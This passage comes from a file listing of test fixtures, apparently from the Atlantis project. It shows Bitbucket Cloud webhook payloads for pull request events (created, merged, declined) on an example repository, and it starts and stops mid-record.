\"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n        }\n      },\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"created_on\": \"2018-07-19T19:48:14.228611+00:00\",\n    \"participants\": [\n      {\n        \"type\": \"participant\",\n        \"user\": {\n          \"display_name\": \"Luke\",\n          \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n          \"links\": {\n            \"self\": {\n              \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n            },\n            \"html\": {\n              \"href\": \"https://bitbucket.org/lkysow/\"\n            },\n            \"avatar\": {\n              \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n            }\n          },\n          \"type\": \"user\",\n          \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n        },\n        \"role\": \"PARTICIPANT\",\n        \"approved\": true,\n        \"participated_on\": \"2018-07-19T19:51:24.190902+00:00\"\n      }\n    ],\n    \"reason\": \"\",\n    \"updated_on\": \"2018-07-19T19:51:50.705732+00:00\",\n    \"merge_commit\": {\n      \"hash\": \"c21506eeea5f\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c21506eeea5f\"\n        }\n      }\n    },\n    \"closed_by\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n        }\n      },\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"task_count\": 0\n  },\n  \"actor\": {\n    \"nickname\": \"lkysow\",\n    \"display_name\": \"Luke\",\n    \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/\"\n      },\n      \"avatar\": {\n        \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n      }\n    },\n    \"type\": \"user\",\n    \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n  },\n  \"repository\": {\n    \"scm\": \"git\",\n    \"website\": \"\",\n    \"name\": \"atlantis-example\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n      },\n      \"avatar\": {\n        \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n      }\n    },\n    \"full_name\": \"lkysow/atlantis-example\",\n    \"owner\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n        }\n      },\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"type\": \"repository\",\n    \"is_private\": false,\n    \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-cloud-pull-event-created.json",
    "content": "{\n  \"pullrequest\": {\n    \"rendered\": {\n      \"description\": {\n        \"raw\": \"main.tf edited online with Bitbucket\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n        \"type\": \"rendered\"\n      },\n      \"title\": {\n        \"raw\": \"main.tf edited online with Bitbucket\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n        \"type\": \"rendered\"\n      }\n    },\n    \"type\": \"pullrequest\",\n    \"description\": \"main.tf edited online with Bitbucket\",\n    \"links\": {\n      \"decline\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/decline\"\n      },\n      \"commits\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/commits\"\n      },\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16\"\n      },\n      \"comments\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/comments\"\n      },\n      \"merge\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/merge\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/16\"\n      },\n      \"activity\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/activity\"\n      },\n      \"diff\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/diff\"\n      },\n      \"approve\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/approve\"\n      },\n      \"statuses\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/statuses\"\n      }\n    },\n    \"title\": \"main.tf edited online with Bitbucket\",\n    \"close_source_branch\": true,\n    \"reviewers\": [],\n    \"id\": 16,\n    \"destination\": {\n      \"commit\": {\n        \"hash\": \"1d1f6d3216f1\",\n        \"type\": \"commit\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1d1f6d3216f1\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/1d1f6d3216f1\"\n          }\n        }\n      },\n      \"repository\": {\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"full_name\": \"lkysow/atlantis-example\",\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      },\n      \"branch\": {\n        \"name\": \"main\"\n      }\n    },\n    \"created_on\": \"2019-06-13T13:37:58.036928+00:00\",\n    \"summary\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    },\n    \"source\": {\n      \"commit\": {\n        \"hash\": \"1e69a602caef\",\n        \"type\": \"commit\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow-fork/atlantis-example/commit/1e69a602caef\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow-fork/atlantis-example/commits/1e69a602caef\"\n          }\n        }\n      },\n      \"repository\": {\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow-fork/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow-fork/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"full_name\": \"lkysow-fork/atlantis-example\",\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      },\n      \"branch\": {\n        \"name\": \"Luke/maintf-edited-online-with-bitbucket-1560433073473\"\n      }\n    },\n    \"comment_count\": 0,\n    \"state\": \"OPEN\",\n    \"task_count\": 0,\n    \"participants\": [],\n    \"reason\": \"\",\n    \"updated_on\": \"2019-06-13T13:37:58.128400+00:00\",\n    \"author\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n        }\n      },\n      \"nickname\": \"Luke\",\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"merge_commit\": null,\n    \"closed_by\": null\n  },\n  \"repository\": {\n    \"scm\": \"git\",\n    \"website\": \"\",\n    \"name\": \"atlantis-example\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n      },\n      \"avatar\": {\n        \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n      }\n    },\n    \"full_name\": \"lkysow/atlantis-example\",\n    \"owner\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n        }\n      },\n      \"nickname\": \"Luke\",\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"type\": \"repository\",\n    \"is_private\": false,\n    \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n  },\n  \"actor\": {\n    \"display_name\": \"Luke\",\n    \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n      },\n      \"avatar\": {\n        \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n      }\n    },\n    \"nickname\": \"Luke\",\n    \"type\": \"user\",\n    \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-cloud-pull-event-fulfilled.json",
    "content": "{\n  \"pullrequest\": {\n    \"rendered\": {\n      \"description\": {\n        \"raw\": \"main.tf edited online with Bitbucket\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n        \"type\": \"rendered\"\n      },\n      \"title\": {\n        \"raw\": \"main.tf edited online with Bitbucket\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n        \"type\": \"rendered\"\n      }\n    },\n    \"type\": \"pullrequest\",\n    \"description\": \"main.tf edited online with Bitbucket\",\n    \"links\": {\n      \"decline\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/decline\"\n      },\n      \"commits\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/commits\"\n      },\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16\"\n      },\n      \"comments\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/comments\"\n      },\n      \"merge\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/merge\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/16\"\n      },\n      \"activity\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/activity\"\n      },\n      \"diff\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/diff\"\n      },\n      \"approve\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/approve\"\n      },\n      \"statuses\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/statuses\"\n      }\n    },\n    \"title\": \"main.tf edited online with Bitbucket\",\n    \"close_source_branch\": true,\n    \"reviewers\": [],\n    \"id\": 16,\n    \"destination\": {\n      \"commit\": {\n        \"hash\": \"1d1f6d3216f1\",\n        \"type\": \"commit\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1d1f6d3216f1\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/1d1f6d3216f1\"\n          }\n        }\n      },\n      \"repository\": {\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"full_name\": \"lkysow/atlantis-example\",\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      },\n      \"branch\": {\n        \"name\": \"main\"\n      }\n    },\n    \"created_on\": \"2019-06-13T13:37:58.036928+00:00\",\n    \"summary\": {\n      \"raw\": \"main.tf edited online with Bitbucket\",\n      \"markup\": \"markdown\",\n      \"html\": \"<p>main.tf edited online with Bitbucket</p>\",\n      \"type\": \"rendered\"\n    },\n    \"source\": {\n      \"commit\": {\n        \"hash\": \"1e69a602caef\",\n        \"type\": \"commit\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1e69a602caef\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/1e69a602caef\"\n          }\n        }\n      },\n      \"repository\": {\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"full_name\": \"lkysow/atlantis-example\",\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      },\n      \"branch\": {\n        \"name\": \"Luke/maintf-edited-online-with-bitbucket-1560433073473\"\n      }\n    },\n    \"comment_count\": 0,\n    \"state\": \"MERGED\",\n    \"task_count\": 0,\n    \"participants\": [],\n    \"reason\": \"\",\n    \"updated_on\": \"2019-06-13T13:38:38.142188+00:00\",\n    \"author\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n        }\n      },\n      \"nickname\": \"Luke\",\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"merge_commit\": {\n      \"hash\": \"981c4a02003b\",\n      \"type\": \"commit\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/981c4a02003b\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/981c4a02003b\"\n        }\n      }\n    },\n    \"closed_by\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n        }\n      },\n      \"nickname\": \"Luke\",\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    }\n  },\n  \"repository\": {\n    \"scm\": \"git\",\n    \"website\": \"\",\n    \"name\": \"atlantis-example\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n      },\n      \"avatar\": {\n        \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n      }\n    },\n    \"full_name\": \"lkysow/atlantis-example\",\n    \"owner\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n        }\n      },\n      \"nickname\": \"Luke\",\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"type\": \"repository\",\n    \"is_private\": false,\n    \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n  },\n  \"actor\": {\n    \"display_name\": \"Luke\",\n    \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n      },\n      \"avatar\": {\n        \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n      }\n    },\n    \"nickname\": \"Luke\",\n    \"type\": \"user\",\n    \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-cloud-pull-event-rejected.json",
    "content": "{\n  \"pullrequest\": {\n    \"rendered\": {\n      \"description\": {\n        \"raw\": \"\",\n        \"markup\": \"markdown\",\n        \"html\": \"\",\n        \"type\": \"rendered\"\n      },\n      \"title\": {\n        \"raw\": \"testtest\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>testtest</p>\",\n        \"type\": \"rendered\"\n      }\n    },\n    \"type\": \"pullrequest\",\n    \"description\": \"\",\n    \"links\": {\n      \"decline\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/decline\"\n      },\n      \"commits\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/commits\"\n      },\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13\"\n      },\n      \"comments\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/comments\"\n      },\n      \"merge\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/merge\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/13\"\n      },\n      \"activity\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/activity\"\n      },\n      \"diff\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/diff\"\n      },\n      \"approve\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/approve\"\n      },\n      \"statuses\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/statuses\"\n      }\n    },\n    \"title\": \"testtest\",\n    \"close_source_branch\": false,\n    \"reviewers\": [],\n    \"id\": 13,\n    \"destination\": {\n      \"commit\": {\n        \"hash\": \"1d1f6d3216f1\",\n        \"type\": \"commit\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1d1f6d3216f1\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/1d1f6d3216f1\"\n          }\n        }\n      },\n      \"repository\": {\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"full_name\": \"lkysow/atlantis-example\",\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      },\n      \"branch\": {\n        \"name\": \"main\"\n      }\n    },\n    \"created_on\": \"2019-02-12T16:54:45.891127+00:00\",\n    \"summary\": {\n      \"raw\": \"\",\n      \"markup\": \"markdown\",\n      \"html\": \"\",\n      \"type\": \"rendered\"\n    },\n    \"source\": {\n      \"commit\": {\n        \"hash\": \"0adf41d7f4cc\",\n        \"type\": \"commit\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/0adf41d7f4cc\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example/commits/0adf41d7f4cc\"\n          }\n        }\n      },\n      \"repository\": {\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"full_name\": \"lkysow/atlantis-example\",\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      },\n      \"branch\": {\n        \"name\": \"test\"\n      }\n    },\n    \"comment_count\": 4,\n    \"state\": \"DECLINED\",\n    \"task_count\": 0,\n    \"participants\": [\n      {\n        \"role\": \"PARTICIPANT\",\n        \"participated_on\": \"2019-06-12T11:10:44.054840+00:00\",\n        \"type\": \"participant\",\n        \"user\": {\n          \"display_name\": \"Luke\",\n          \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n          \"links\": {\n            \"self\": {\n              \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n            },\n            \"html\": {\n              \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n            },\n            \"avatar\": {\n              \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n            }\n          },\n          \"nickname\": \"Luke\",\n          \"type\": \"user\",\n          \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n        },\n        \"approved\": false\n      },\n      {\n        \"role\": \"PARTICIPANT\",\n        \"participated_on\": \"2019-06-12T11:10:47.208597+00:00\",\n        \"type\": \"participant\",\n        \"user\": {\n          \"display_name\": \"Atlantisbot\",\n          \"account_id\": \"5b5097035488b9140c078f7f\",\n          \"links\": {\n            \"self\": {\n              \"href\": \"https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D\"\n            },\n            \"html\": {\n              \"href\": \"https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/\"\n            },\n            \"avatar\": {\n              \"href\": \"https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png\"\n            }\n          },\n          \"nickname\": \"atlantis-bot\",\n          \"type\": \"user\",\n          \"uuid\": \"{73686412-4495-426f-89a7-c69ff1c8d7b8}\"\n        },\n        \"approved\": false\n      }\n    ],\n    \"reason\": \"\",\n    \"updated_on\": \"2019-06-13T13:29:24.538120+00:00\",\n    \"author\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n        }\n      },\n      \"nickname\": \"Luke\",\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"merge_commit\": null,\n    \"closed_by\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n        },\n        \"html\": {\n          \"href\": 